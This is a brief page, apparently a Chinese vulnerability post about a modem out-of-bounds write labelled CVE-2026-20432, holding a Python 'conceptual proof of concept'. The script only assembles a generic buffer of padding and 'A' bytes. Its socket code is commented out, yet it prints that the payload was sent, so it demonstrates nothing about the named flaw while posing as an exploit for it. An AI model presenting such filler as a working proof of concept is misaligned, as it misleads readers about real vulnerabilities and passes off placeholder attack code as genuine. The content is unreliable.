CVE-2026-20432 Modem越界写入漏洞

import socket # Conceptual Proof of Concept for CVE-2026-20432 # This script simulates sending a crafted packet to trigger OOB write. # Note: Actual exploitation requires specific protocol implementation details. def send_exploit(target_ip, target_port): # Constructing a malicious payload # Header simulating a base station message header = b"\x01\x02\x03\x04" # Padding to reach the vulnerable buffer boundary padding = b"\x00" * 64 # Overflow data intended to write past the buffer bounds # This may overwrite return addresses or function pointers overflow_payload = b"\x41" * 500 payload = header + padding + overflow_payload try: print(f"[+] Sending exploit payload to {target_ip}:{target_port}") # In a real scenario, this would connect to a specific modem interface # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(payload) # s.close() print("[+] Payload sent successfully (Simulation)") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage send_exploit("192.168.1.100", 8080)